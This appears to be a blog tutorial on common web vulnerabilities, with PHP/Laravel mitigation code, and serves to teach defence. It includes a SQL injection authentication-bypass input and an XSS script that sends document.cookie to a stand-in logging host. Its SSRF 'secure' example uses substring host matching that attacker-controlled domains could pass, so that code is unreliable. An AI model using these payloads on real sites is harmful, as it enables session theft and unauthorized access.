Blog

Web Security Vulnerabilities

avatar

Milena

blog

SQL Injection: Overview

SQL Injection is a code injection technique that exploits vulnerabilities in an application’s software by inserting malicious SQL statements into an entry field for execution. This can lead to unauthorized access to the database, data theft, data corruption, and other malicious activities.

SQL Injection Statistics (2023-2024)

  1. Prevalence: SQL injection remains a top threat, consistently identified as the foremost critical vulnerability in web applications.
  2. Incident Rate: It accounts for 23% of all critical web application vulnerabilities detected globally in 2023.
  3. Impact: SQL injection attacks continue to be a significant source of data breaches, contributing to 19% of all security breaches analyzed in recent studies.
  4. Severity: Out of all detected vulnerabilities, 19.47% were classified as high or critical severity, emphasizing the ongoing risk posed by SQL injections.

Simple Example of Vulnerability

//Simple Example of SQL Injection
$query = \"SELECT * FROM users WHERE username = \'user\' AND password = \'pass\'\";
//Username: user\' OR \'1\'=\'1
//Password: anything
$query = \"SELECT * FROM users WHERE username = \'user\' OR \'1\'=\'1\' AND password = \'anything\'\";
//This always returns true for the username condition (\'1\'=\'1\'), allowing the attacker to bypass authentication.

Avoiding SQL Injection

//Use Prepared Statements (Parameterized Queries)
$stmt = $pdo->prepare(\'SELECT * FROM users WHERE username = :username AND password = :password\');
$stmt->execute([\'username\' => $username, \'password\' => $password]);
$user = $stmt->fetch();
//Use ORM (Object-Relational Mapping) Tools
$user = User::where(\'username\', $username)
            ->where(\'password\', $password)
            ->first();
//Validate and Sanitize Inputs
$username = filter_input(INPUT_POST, \'username\', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, \'password\', FILTER_SANITIZE_STRING);
$validatedData = $request->validate([
    \'username\' => \'required|string\',
    \'password\' => \'required|string\',
]);

Broken authentication

Broken authentication is a security vulnerability that occurs when an application’s authentication mechanisms are improperly implemented or configured, allowing attackers to gain unauthorized access to user accounts or systems.

Here’s a breakdown of the issue. Broken authentication refers to flaws in how authentication and session management are handled. This can include issues like:

  1. Weak Password Policies: Allowing users to create easily guessable passwords.
  2. Exposed Session IDs: Session IDs that can be intercepted or guessed.
  3. Insecure Password Storage: Storing passwords in plain text or using weak hashing algorithms.
  4. Improper Account Lockout Mechanisms: Failing to lock accounts after a certain number of failed login attempts, allowing attackers to perform brute force attacks.
  5. Insufficient Session Expiration: Sessions that do not expire properly or are not invalidated after logout, allowing attackers to reuse old sessions.

Some Examples How to Avoid Broken Authentication:

//Implement Strong Password Policies
$validatedData = $request->validate([
    \'password\' => \'required|string|min:8|regex:/[a-z]/|regex:/[A-Z]/|regex:/[0-9]/|regex:/[@$!%*?&#]/\',
]);
//Implement MFA as extra layer of security
//Secure Session Management
// Set session configuration in config/session.php
\'secure\' => env(\'SESSION_SECURE_COOKIE\', true), //only sent over HTTPS connections
\'http_only\' => true, //cookies are accessible only through the HTTP protocol
\'same_site\' => \'strict\', //The cookie is sent only with requests initiated from the same site. 
//Protect Against Brute Force Attacks, Implement rate limiting and account lockout mechanisms
Route::post(\'/login\', \'Auth\\LoginController@login\')->middleware(\'throttle:10,1\');
//Implement Secure Password Storage, hashing algorithms like bcrypt, Argon2, or PBKDF2 to hash passwords
$hashedPassword = Hash::make(\'password\');
//Ensure Proper Logout and Session Expiry
Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();

Security misconfiguration

Security misconfiguration occurs when an application, server, or system is not securely configured, leading to vulnerabilities that can be exploited by attackers. This issue arises when default settings are used, unnecessary services are enabled, or security settings are improperly configured.

This can involve various components, including servers, databases, application frameworks, and security controls. Misconfigurations can expose systems to a wide range of attacks, such as unauthorized access, data breaches, or service disruptions.


Examples:

  1. Default Credentials: Using default usernames and passwords for administrative accounts, such as “admin”/“admin” or “root”/“password.”
  2. Unpatched Software: Running outdated versions of software with known vulnerabilities that have not been patched or updated.
  3. Exposed Management Interfaces: Leaving administrative interfaces accessible from the public internet without proper access controls or IP whitelisting.
  4. Verbose Error Messages: Displaying detailed error messages to users that reveal underlying system information or stack traces, which can aid attackers in identifying vulnerabilities.
  5. Misconfigured Security Headers: Failing to set proper security headers in HTTP responses (like Content-Security-Policy, X-Frame-Options, etc.), which can lead to attacks such as clickjacking or cross-site scripting.

How to Avoid Security Misconfiguration:

  1. Change Default Settings: Change default usernames, passwords, and configurations. Ensure that default settings are replaced with secure, custom configurations.
  2. Regularly Update and Patch: Keep all software and systems up-to-date with the latest security patches and updates.
  3. Implement Proper Access Controls: Restrict access to management interfaces, databases, and sensitive files. Use firewalls, VPNs, and IP whitelisting to protect administrative functions.
  4. Limit Services and Features: Disable or remove any unnecessary services, features, or components that are not needed for the operation of your application or system.
  5. Implement Monitoring and Logging: Enable logging and monitoring to detect and respond to suspicious activities or 

By following these practices, you can minimize the risk of security misconfigurations and enhance the overall security posture of your systems and applications.

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery is a security vulnerability that allows an attacker to send unauthorized requests from the server-side application to internal or external resources. This can lead to various malicious activities, such as accessing internal services or manipulating server resources.

In an SSRF attack, the attacker tricks the server into making requests to unintended destinations. This can occur when an application accepts user input that is used to construct URLs or request parameters without proper validation.

If the application’s server can access internal resources or services (e.g., databases, internal APIs), an attacker may exploit this to gain unauthorized access or cause other damage.

Example:

Consider a web application that allows users to provide a URL to fetch data from. The application then makes a server-side request to the provided URL to retrieve information.

If the application does not properly validate the URL, an attacker could provide a URL pointing to an internal service or another restricted resource. For instance, the attacker could input http://localhost/admin or http://internal-service:8080/secret, which might be accessible only within the internal network.

How to Avoid SSRF

  1. URL Validation: Validate that the input is a well-formed URL.
  2. Domain Whitelisting: Implement a custom validation rule to ensure that the URL’s host is in a list of allowed domains. This prevents requests to internal services or unapproved external URLs.
  3. Error Handling: Return an error message if the URL does not meet the validation criteria.
public function fetchData(Request $request)
{
    // Validate the URL input
    $validator = Validator::make($request->all(), [
        \'url\' => [\'required\', \'url\', function ($attribute, $value, $fail) {
            // Define a list of allowed domains
            $allowedDomains = [\'example.com\', \'api.example.com\'];
            // Parse the URL to extract the host
            $parsedUrl = parse_url($value);
            if (isset($parsedUrl[\'host\'])) {
                // Check if the host is in the list of allowed domains
                $host = $parsedUrl[\'host\'];
                $allowed = false;
                foreach ($allowedDomains as $domain) {
                    if (stripos($host, $domain) !== false) {
                        $allowed = true;
                        break;
                    }
                }
                if (!$allowed) {
                    $fail(\'The URL is not allowed.\');
                }
            } else {
                $fail(\'Invalid URL format.\');
            }
        }],
    ]);
    if ($validator->fails()) {
        return response()->json([\'errors\' => $validator->errors()], 400);
    }
    // Get the validated URL
    $url = $request->input(\'url\');
    // Make a server-side HTTP request to the validated URL
    $response = Http::get($url);
    // Return the response data
    return response()->json($response->json());
}

Web cache poisoning

Web cache poisoning is a vulnerability where an attacker manipulates cached content to serve malicious or unauthorized data to users.

This can lead to various issues, such as data leakage, malicious code execution or service disruption. Web cache poisoning occurs when an attacker manages to inject malicious content into a cache, which is then served to users.

This often involves exploiting weaknesses in cache configuration, input validation, or cache key management.

Examples:

  1. Malicious Content Injection: An attacker might submit a request with crafted parameters or headers that inject malicious scripts into the cached response. When other users access this cached response, they might execute the injected scripts.
  2. Sensitive Data Exposure: If an attacker can manipulate cache keys or parameters, they might trick the cache into storing and serving sensitive data (like user information) to unauthorized users.
  3. Denial of Service (DoS): By poisoning the cache with large or resource-heavy content, attackers can cause the cache to become overloaded, affecting the availability of the service.
  4. Cache Key Manipulation: Attackers might manipulate cache keys to store content that should not be served to certain users or contexts.

How to Avoid Cache Poisoning 

//Web Cache Poisoning
//Implement Cache Control Mechanisms, sensitive data is not cached, prevent caching of dynamic content
use Closure;
class CacheControl
{
    public function handle($request, Closure $next)
    {
        $response = $next($request);
        $response->headers->set(\'Cache-Control\', \'no-store, no-cache, must-revalidate, max-age=0\');
        return $response;
    }
}
//Use Unique Cache Keys, Combine user-specific data with unique session identifiers
$cacheKey = \'profile_\' . $userId;
$profileData = Cache::remember($cacheKey, $minutes, function () use ($userId) {
    return User::find($userId);
});
  1. Implement Cache Control Mechanisms: Ensure that sensitive data and dynamic content are not cached improperly by using appropriate cache control headers and settings.
  2. Use Unique Cache Keys: Combine user-specific data with unique session identifiers or request parameters to ensure that cache keys are unique and that different users do not get cached content meant for others.
  3. Test for Cache Poisoning: Regularly test your application for cache poisoning vulnerabilities using automated tools and security audits. There are Automated Testing Tools like Burp Suite, OWASP ZAP etc.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a security vulnerability where an attacker injects malicious scripts into the code of a trusted application or website. This attack often begins with the attacker sending a malicious link to a user, enticing them to click it.

If the application lacks proper data sanitization, the malicious script executes on the user’s system, potentially leading to session hijacking and other harmful consequences.

Example:

html
Copy code
<script>
  i = new Image();
  i.src = \"http://example.com/log.php?\" + document.cookie + \" \" + document.location;
</script>

While JavaScript is commonly used for XSS attacks, any client-side language can be exploited in this way.

How to Prevent XSS Attacks

  • Never Trust User Input: Always validate and sanitize input from untrusted sources. Apply this both when receiving input and before outputting data.
  • Use Escaping/Encoding: Before writing user-controllable data, ensure that output encoding is applied to escape the input, preventing it from being interpreted as code by the browser.
  • Defense-in-Depth: Utilize multiple layers of security controls. Even if one defense is breached, others can protect against an attack.
  • Penetration Testing: Regularly perform penetration tests to confirm that vulnerabilities are properly addressed.
  • Set HttpOnly Flag: Set the HttpOnly flag on cookies to reduce the risk of XSS attacks.
  • Use Content Security Policy (CSP): Implement a CSP to limit the resources that can be loaded on your site, reducing the impact of any XSS vulnerabilities.

Sensitive Data Exposure

Sensitive data exposure occurs when an application fails to adequately protect sensitive information, such as passwords, credit card details, or personally identifiable information (PII).

Examples:

  • Plain Text Passwords
  • Insecure Session Data
  • Unencrypted Transmission

How to Prevent Sensitive Data Exposure

  • Encrypt Sensitive Data: Ensure all sensitive data is encrypted both at rest and in transit.
  • Minimize Data Storage: Only store sensitive data if absolutely necessary and discard it as soon as possible.
  • Use Strong Algorithms: Implement strong encryption algorithms and keys, with proper key management.
  • Secure Password Storage: Store passwords using algorithms specifically designed for password protection.
  • Disable Autocomplete and Caching: For forms collecting sensitive data, disable autocomplete and caching to prevent exposure.

Cross-Site Request Forgery (CSRF)

Cross-site request forgery (CSRF) is an attack that tricks a user into submitting a malicious request. This attack inherits the user\’s identity and privileges, performing undesired actions on their behalf.

How to Prevent CSRF Attacks

  • Use CSRF Tokens: Attach a CSRF token to each form or request, which is validated based on the user\’s session.
  • Check Referer and Origin Headers: Verify the origin of requests to ensure they come from trusted sources.
  • Check X-Requested-With Header: Requests with this header are more secure as they prevent cross-domain requests.
  • Prevent XSS: Since XSS can bypass CSRF protections, it\’s crucial to secure your application against XSS attacks.

API Security

API security involves protecting data transferred through APIs, particularly when dealing with sensitive information. APIs are susceptible to vulnerabilities in backend systems, and a compromised API can expose all connected data.

How to Secure APIs

  • Use a Gateway: Implement an API gateway to manage and secure API traffic.
  • Use JSON Web Tokens Internally: Ensure tokens are used internally for securing API communications.
  • Centralize OAuth: Use a central OAuth server for authentication.
  • Implement Scopes: Define scopes for coarse-grained access control.
  • Enforce Strict Authentication: Apply strict authentication and authorization across all API endpoints.
  • Validate Input: Sanitize and validate all input data.
  • Encrypt Traffic: Use SSL/TLS for encryption and consider message signing for additional security.

Clickjacking

Clickjacking is an attack where users are tricked into clicking on something different from what they perceive, often leading to unintended actions on another website.

How to Prevent Clickjacking

  • Set Content Security Policy: Use the frame-ancestors directive in CSP to prevent framing from other domains.
  • Use X-Frame-Options: For older browser compatibility, use the X-Frame-Options HTTP header.
  • Set SameSite Cookies: Configure authentication cookies with SameSite=Strict (or Lax) to prevent cross-site requests.
  • Employ Defensive Code: Ensure the current frame is the top-level window by using defensive code in the UI.

File Upload Vulnerabilities

File upload vulnerabilities occur when a web server allows users to upload files without proper validation. This can lead to the execution of malicious files, including server-side scripts.

How to Prevent File Upload Vulnerabilities

  • Restrict File Extensions: Only allow specific, safe file extensions.
  • Authorize Users: Limit file upload capabilities to authorized and authenticated users.
  • Validate File Content: Check that uploaded files match the expected content type.
  • Serve Files Safely: Serve uploaded files through the application rather than directly via the web server.
  • Use Non-Public Directories: Store uploaded files in directories not accessible to the public.
  • Write Non-Executable Headers: Add headers to files to ensure they are non-executable.

Example:

<?php
// Vulnerable PHP code for handling file uploads
if (isset($_FILES[\'uploaded_file\'][\'name\'])) {
    move_uploaded_file($_FILES[\'uploaded_file\'][\'tmp_name\'], \'uploads/\' . $_FILES[\'uploaded_file\'][\'name\']);
}
// Secure PHP code for handling file uploads with validation
if (isset($_FILES[\'uploaded_file\'][\'name\'])) {
    $allowedImages = [\'image/jpeg\', \'image/png\', \'application/pdf\'];
    $fileInfo = finfo_open(FILEINFO_MIME_TYPE);
    $detectedImg = finfo_file($fileInfo, $_FILES[\'uploaded_file\'][\'tmp_name\']);
    if (in_array($detectedImg, $allowedImages)) {
        $safeName = preg_replace(\'/[^a-zA-Z0-9-_\\.]/\', \'\', $_FILES[\'uploaded_file\'][\'name\']);
        move_uploaded_file($_FILES[\'uploaded_file\'][\'tmp_name\'], \'uploads/\' . $safeName);
    } else {
        echo \"Invalid file type.\";
    }
}